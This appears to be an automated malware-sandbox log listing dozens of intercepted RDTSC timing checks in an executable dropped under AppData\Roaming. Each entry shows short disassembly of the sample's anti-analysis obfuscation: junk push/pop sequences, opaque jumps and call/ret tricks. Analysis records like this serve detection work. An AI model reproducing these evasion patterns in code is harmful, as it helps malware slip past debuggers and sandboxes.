Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD659C second address: CD65D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF888DC1E96h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 jbe 00007FF888DC1EC5h 0x00000018 jmp 00007FF888DC1E9Fh 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 jmp 00007FF888DC1EA0h 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD65D7 second address: CD65DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD6860 second address: CD6866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C88FDD second address: C88FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C88FE2 second address: C88FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C88FE8 second address: C88FFD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF88929ECB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD6CC8 second address: CD6CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FF888DC1E96h 0x00000009 jbe 00007FF888DC1E96h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edi 0x00000015 jne 00007FF888DC1E9Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD9EB9 second address: CD9EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007FF88929ECB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD9EC7 second address: CD9ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD9ED4 second address: CD9ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD9ED8 second address: CD9EDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CDE46E second address: CDE47A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CDE766 second address: CDE76C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CDE76C second address: CDE770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CDE8BB second address: CDE8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CDE8C4 second address: CDE8CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CDE8CA second address: CDE8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CDDF05 second address: CDDF09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CDEC0B second address: CDEC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE2686 second address: CE2690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE8475 second address: CE8479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9F3C4 second address: C9F3C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9F3C9 second address: C9F3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b js 00007FF888DC1E98h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF888DC1EA8h 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9F600 second address: C9F60E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FB24 second address: C9FB7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FF888DC1E98h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f add dword ptr [esp], 34E21000h 0x00000016 mov dword ptr [ebp+12460D42h], esi 0x0000001c call 00007FF888DC1E99h 0x00000021 jnc 00007FF888DC1E9Eh 0x00000027 push edx 0x00000028 jng 00007FF888DC1E96h 0x0000002e pop edx 0x0000002f push eax 0x00000030 push ecx 0x00000031 jmp 00007FF888DC1E9Bh 0x00000036 pop ecx 0x00000037 mov eax, dword ptr [esp+04h] 0x0000003b jmp 00007FF888DC1E9Bh 0x00000040 mov eax, dword ptr [eax] 0x00000042 je 00007FF888DC1EA0h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FB7F second address: C9FB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FB8F second address: C9FB94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FB94 second address: C9FB9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FB9A second address: C9FB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FB9E second address: C9FBA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FD51 second address: C9FD86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF888DC1EA2h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF888DC1EA9h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FD86 second address: C9FD8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FFED second address: C9FFF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FFF1 second address: C9FFFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9FFFA second address: CA0093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1E9Fh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jno 00007FF888DC1EACh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FF888DC1E98h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D2D20h] 0x00000033 push 00000004h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007FF888DC1E98h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f nop 0x00000050 jmp 00007FF888DC1EA4h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0093 second address: CA0098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0739 second address: CA073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA073D second address: CA07B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push esi 0x00000010 push edi 0x00000011 jng 00007FF88929ECB6h 0x00000017 pop edi 0x00000018 pop esi 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FF88929ECB8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 sbb dl, 0000006Fh 0x00000037 lea eax, dword ptr [ebp+12484186h] 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007FF88929ECB8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000016h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 add cl, FFFFFFF0h 0x0000005a nop 0x0000005b push edi 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA07B3 second address: CA0817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 jne 00007FF888DC1EAAh 0x0000000f nop 0x00000010 cmc 0x00000011 lea eax, dword ptr [ebp+12484142h] 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FF888DC1E98h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov edx, dword ptr [ebp+124554F2h] 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FF888DC1EA0h 0x0000003f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0817 second address: CA0821 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF88929ECBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0821 second address: C88FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FF888DC1E98h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D293Fh], edx 0x00000029 call dword ptr [ebp+122D2461h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 jnl 00007FF888DC1E96h 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE78C9 second address: CE78D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECBAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE78D7 second address: CE78DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE78DB second address: CE78E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE78E5 second address: CE78EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE78EB second address: CE78F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7CD5 second address: CE7D02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Bh 0x00000007 jmp 00007FF888DC1E9Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF888DC1E9Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7D02 second address: CE7D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7D06 second address: CE7D0C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7D0C second address: CE7D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FF88929ECB8h 0x0000000f jmp 00007FF88929ECC1h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7D2E second address: CE7D38 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF888DC1E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7EAD second address: CE7EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7EB3 second address: CE7EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7EB7 second address: CE7EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FF88929ECB6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE7EC9 second address: CE7ECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CE8024 second address: CE8042 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF88929ECB6h 0x00000008 jp 00007FF88929ECB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 popad 0x00000015 jc 00007FF88929ECC4h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CEB374 second address: CEB392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1E9Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FF888DC1E9Eh 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CEB392 second address: CEB397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CEADF6 second address: CEADFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CED14D second address: CED160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FF88929ECBEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CED160 second address: CED172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007FF888DC1E96h 0x0000000b ja 00007FF888DC1E96h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CED172 second address: CED177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CED2E5 second address: CED2E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CED2E9 second address: CED2F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FF88929ECB6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CED2F9 second address: CED311 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF888DC1EA2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CED311 second address: CED316 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CED316 second address: CED34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF888DC1E96h 0x0000000a pop edx 0x0000000b pushad 0x0000000c jmp 00007FF888DC1EA1h 0x00000011 jmp 00007FF888DC1EA4h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF2368 second address: CF236C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF29DE second address: CF29F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF29F1 second address: CF2A12 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF88929ECB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007FF88929ECBCh 0x00000011 jnp 00007FF88929ECC2h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA01FB second address: CA0247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d and edi, dword ptr [ebp+122D2AE4h] 0x00000013 mov ebx, dword ptr [ebp+12484181h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FF888DC1E98h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 or dword ptr [ebp+122D257Eh], edx 0x00000039 add eax, ebx 0x0000003b mov di, cx 0x0000003e push eax 0x0000003f pushad 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF2CC4 second address: CF2CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF2CCB second address: CF2CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF2CD0 second address: CF2CEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF88929ECBCh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007FF88929ECBCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6CEF second address: CF6CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6CF5 second address: CF6D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF88929ECB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6D01 second address: CF6D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FF888DC1E96h 0x0000000f jmp 00007FF888DC1E9Fh 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6D1F second address: CF6D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6D23 second address: CF6D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
